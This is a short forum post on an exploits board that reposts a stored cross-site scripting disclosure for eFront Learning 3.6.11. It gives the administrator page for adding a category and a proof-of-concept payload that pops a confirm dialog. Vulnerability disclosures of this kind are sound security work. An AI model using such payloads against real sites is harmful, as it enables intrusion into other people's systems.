Jump to content
Aerosol

eFront Learning 3.6.11 Cross Site Scripting

By Aerosol, in Exploituri

Recommended Posts

Aerosol Newbie

Aerosol

Posted
Posted 

# Affected software: efrontlearning
# Type of vulnerability: stored xss
# URL: http://demo.efrontlearning.net/
# Discovered by: Provensec
# Website: http://www.provensec.com
# Description: Open Source e-Learning
# Proof of concept
#version:eFront 3.6.11

goto addd new category
http://demo.efrontlearning.net/enterprise/www/administrator.php?ctg=directions


and add new with xss payload "><img src=d onerror=confirm(1);> and
save it payload will execute

#screen:http://prntscr.com/69zhge

Source

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...